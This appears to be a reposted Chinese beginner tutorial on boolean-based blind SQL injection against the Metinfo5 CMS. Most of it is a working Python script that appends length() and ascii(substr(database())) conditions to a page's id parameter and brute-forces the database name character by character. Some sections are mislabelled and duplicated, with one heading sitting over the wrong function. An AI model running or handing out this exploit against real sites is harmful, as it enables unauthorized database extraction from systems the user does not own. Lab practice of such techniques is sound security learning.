EXP-sql布偶型盲注 保姆级教程新手向(Metinfo5)
Posted 水番正文
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了EXP-sql布偶型盲注 保姆级教程新手向(Metinfo5)相关的知识,希望对你有一定的参考价值。
题目原型:Metinfo5
引用库:requests
跑脚本是个很快的事情,分析EXP原理才是要干的事。
新手入门,敬请斧正。
--大部分思路转载自胡洋老师的教学
一:简单认识 requests库
首先简单认识一下这个库
import requests
url = "http://your-ip/exp/index.php"
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"}
#添加头部信息
params = {"name":"PoZeep","pass":"123456"}
#添加参数信息
res = requests.get(url = url,headers = headers,params = params)
#以get方法传参
#print(res.headers) #以字典的形式获取到响应头
#print(res.request.headers) #获取到请求头,像agent注入类似就会用到这个
print(res.text) #获取页面信息,可以获取页面返回信息判断自己的注入
二:EXP解析
主函数
注意的点:
1、url:填写要跑的页面url
2、headers:这边是伪装头部信息 要不然浏览器就会知道你是拿python跑的
if __name__ == "__main__":
url = "http://met5.co/about/show.php?lang=cn&id=22" #这边的url已经添加可以注入的参数
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/92.0.4515.131 Safari/537.36"
}
# print(get_html())
# print(get_databaseNL())
get_databaseName()
模块一:get_html()
def get_databaseNL():
"我的作用获取数据库名字长度"
for num in range(1,5): #原先看过数据库知道数据库长度为4
num_getinfo = " and length(database())=%s" % num #设置变量
num_fullurl = url + num_getinfo #与主函数已经填写好id的url合并
if get_html(num_fullurl): #调用模块一判断返回的页面信息是否正确
break
return num
模块二:get_databaseNL()
def get_databaseNL():
"我的作用获取数据库名字长度"
for num in range(1,5): #原先看过数据库知道数据库长度为4
num_getinfo = " and length(database())=%s" % num #设置变量
num_fullurl = url + num_getinfo #与主函数已经填写好id的url合并
if get_html(num_fullurl): #调用模块一判断返回的页面信息是否正确
break
return num
模块三:get_databaseNmae()
def get_databaseName():
"我的作用是获取数据库名"
for i in range(1,5):
for j in range(48,123):
name_getinfo = " and ascii(substr(database(),%s,1))=%s --+" % (i,j)
#已知数据库长度 循环调用每个字符进行穷举
name_fullurl = url + name_getinfo
if get_html(name_fullurl): #调用模块一查看返回页面信息是否正确
print(chr(j))
break
EXP!
import requests
def get_html(url):
"我的功能判断页面内容是否包含关键字,来判断传递参数是否为条件成立"
res = requests.get(url=url, headers=headers) #发送参数,获取页面信息存到res
if "888888" in res.text: #注意只要填写正确返回的页面中的数据
return True
else:
return False
def get_databaseNL():
"我的作用获取数据库名字长度"
for num in range(1,5): #原先看过数据库知道数据库长度为4
num_getinfo = " and length(database())=%s" % num #设置变量
num_fullurl = url + num_getinfo #与主函数已经填写好id的url合并
if get_html(num_fullurl): #调用模块一判断返回的页面信息是否正确
break
return num
def get_databaseName():
"我的作用是获取数据库名"
for i in range(1,5):
for j in range(48,123):
name_getinfo = " and ascii(substr(database(),%s,1))=%s --+" % (i,j)
#已知数据库长度 循环调用每个字符进行穷举
name_fullurl = url + name_getinfo
if get_html(name_fullurl): #调用模块一查看返回页面信息是否正确
print(chr(j))
break
if __name__ == "__main__":
url = "http://met5.co/about/show.php?lang=cn&id=22" #这边的url已经添加可以注入的参数
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36"
}
# print(get_html())
# print(get_databaseNL())
get_databaseName()
三:实战环节
1.
找到注入点
确定这是布偶型注入
2.
靠此跑出数据库长度
PS:
这边要写页面返回的信息
3.
确定数据库长度后,跑数据库
这样跑出就可以自由探索~
注意到CSDN注释有点糊,介意者如有需要可以参照笔记。
以上是关于EXP-sql布偶型盲注 保姆级教程新手向(Metinfo5)的主要内容,如果未能解决你的问题,请参考以下文章